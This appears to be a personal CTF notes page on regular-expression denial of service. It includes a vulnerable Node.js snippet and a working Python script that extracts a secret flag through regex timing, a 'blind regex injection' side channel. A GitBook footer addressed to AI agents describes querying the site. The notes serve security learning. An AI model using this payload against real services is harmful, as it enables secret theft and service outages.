> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/ctf-notes/appsec/redos.md).

# ReDos

## ReDos

The **Regular expression Denial of Service (ReDoS)** is a [Denial of Service](https://owasp.org/www-community/attacks/Denial_of_Service) attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression (Regex) to enter these extreme situations and then hang for a very long time. ([More Info](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS))

## Blind Regex Injection

Take the following code as an example:

```
const regExp = require('time-limited-regular-expressions')({ limit: 2 });

app.get("/",(req,res)=>{
	return res.render("index.html");
});
app.get("/license",(req,res)=>{
	return res.render("license.html");
});
const checkLicense = async (license) => {
    try {
        const match = await regExp.match(license, process.env.FLAG)
        return !!match;
    } catch (error) {
        return false;
    }
}
```

Exploit Code

```
import requests, time, string

deactivate_endpoint = "http://127.0.0.1:8000/license"

def brute_force_flag():
    # Adding special chars could break the code
    alphabet = string.ascii_letters + "_"
    # If the time is less than 2000ms then the FLAG is wrong
    regex = '^(?=PAYLOAD.*})((.*)*)*salt$'

    current_guess = "FLAG{"
    while current_guess[::-1][0] != "}":
        for char in alphabet:
            payload = current_guess + char
            guess = regex.replace("PAYLOAD", payload)
            data = {
                "license": guess
            }
            # Time in ms matching burpsuit
            start = round(time.time()*1000)
            res = requests.post(deactivate_endpoint, data=data, proxies={"http": "http://127.0.0.1:8080"})
            end = round(time.time()*1000)
            calc = end - start
            if calc < 2000:
                continue
            else:
                print(current_guess)
                current_guess = current_guess + char

if __name__ == "__main__":
    brute_force_flag()
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/ctf-notes/appsec/redos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
